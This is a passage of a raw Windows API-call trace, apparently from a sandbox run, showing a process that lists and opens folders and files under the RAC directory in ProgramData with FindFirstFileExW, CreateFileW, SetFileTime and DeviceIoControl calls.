Users\\Microsoft\\RAC\\Outbound" (normalized: "c:\\users\\all users\\microsoft\\rac\\outbound"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.640] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound" (normalized: "c:\\users\\all users\\microsoft\\rac\\outbound"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0091.640] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.640] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.641] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.641] NtClose (Handle=0x15c) returned 0x0 [0091.641] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0091.642] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb630 [0091.642] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0091.642] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.642] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.642] GetLastError () returned 0x12 [0091.642] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9180 [0091.642] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.642] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.642] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.642] GetLastError () returned 0x12 [0091.643] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb630) returned 1 [0091.643] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.643] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0091.643] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.643] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b503bb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b503bb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublishedData", cAlternateFileName="")) returned 1 [0091.643] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.643] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b503bb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b503bb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.644] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0091.644] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.644] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.645] NtClose (Handle=0x17c) returned 0x0 [0091.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0091.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb630 [0091.646] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9180 [0091.646] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b503bb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b503bb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.646] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xece09220, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7b503bb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f55ca70, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x45000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiDatabase.sdf", cAlternateFileName="")) returned 1 [0091.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb6b8 [0091.646] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb6b8) returned 1 [0091.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb6b8 [0091.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb6b8) returned 1 [0091.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb6b8 [0091.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340e10 [0091.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0091.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f73d8 [0091.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1359b18 [0091.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb6b8) returned 1 [0091.648] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xece09220, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7b503bb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f55ca70, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x45000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiDatabase.sdf", cAlternateFileName="")) returned 0 [0091.648] GetLastError () returned 0x12 [0091.648] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0091.648] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.649] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b503bb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b503bb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.649] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xece09220, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7b503bb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f55ca70, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x45000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiDatabase.sdf", cAlternateFileName="")) returned 1 [0091.649] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xece09220, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7b503bb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f55ca70, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x45000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiDatabase.sdf", cAlternateFileName="")) returned 0 [0091.649] GetLastError () returned 0x12 [0091.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb630) returned 1 [0091.649] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340e10) returned 1 [0091.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.650] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b503bb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b503bb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StateData", cAlternateFileName="")) returned 1 [0091.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.650] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b503bb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b503bb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0091.650] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0091.650] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.651] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.651] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.651] NtClose (Handle=0x15c) returned 0x0 [0091.651] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb630 [0091.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb6b8 [0091.652] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0091.652] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b503bb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b503bb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.652] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb35800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xecb35800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9f49e390, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacDatabase.sdf", cAlternateFileName="")) returned 1 [0091.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0091.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0091.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0091.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0091.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0091.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f73f8 [0091.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb850 [0091.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0091.654] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e1e72ec, ftCreationTime.dwHighDateTime=0x1cb8927, ftLastAccessTime.dwLowDateTime=0x4e1e72ec, ftLastAccessTime.dwHighDateTime=0x1cb8927, ftLastWriteTime.dwLowDateTime=0xbddddec0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacMetaData.dat", cAlternateFileName="")) returned 1 [0091.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0091.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0091.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0091.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0091.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0091.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7418 [0091.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0091.656] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e1e72ec, ftCreationTime.dwHighDateTime=0x1cb8927, ftLastAccessTime.dwLowDateTime=0x4e1e72ec, ftLastAccessTime.dwHighDateTime=0x1cb8927, ftLastWriteTime.dwLowDateTime=0xbddddec0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacMetaData.dat", cAlternateFileName="")) returned 0 [0091.656] GetLastError () returned 0x12 [0091.656] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9180 [0091.657] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.657] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b503bb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b503bb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.657] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb35800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xecb35800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9f49e390, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacDatabase.sdf", cAlternateFileName="")) returned 1 [0091.657] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e1e72ec, ftCreationTime.dwHighDateTime=0x1cb8927, ftLastAccessTime.dwLowDateTime=0x4e1e72ec, ftLastAccessTime.dwHighDateTime=0x1cb8927, ftLastWriteTime.dwLowDateTime=0xbddddec0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacMetaData.dat", cAlternateFileName="")) returned 1 [0091.657] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e1e72ec, ftCreationTime.dwHighDateTime=0x1cb8927, ftLastAccessTime.dwLowDateTime=0x4e1e72ec, ftLastAccessTime.dwHighDateTime=0x1cb8927, ftLastWriteTime.dwLowDateTime=0xbddddec0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacMetaData.dat", cAlternateFileName="")) returned 0 [0091.657] GetLastError () returned 0x12 [0091.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb6b8) returned 1 [0091.657] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb630) returned 1 [0091.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.658] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b5e83f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b5e83f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0091.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.658] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp" (normalized: "c:\\users\\all users\\microsoft\\rac\\temp"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b5e83f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b5e83f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.658] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp" (normalized: "c:\\users\\all users\\microsoft\\rac\\temp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0091.658] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.659] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.659] NtClose (Handle=0x17c) returned 0x0 [0091.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb630 [0091.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb6b8 [0091.660] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9180 [0091.660] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b5e83f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b5e83f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, 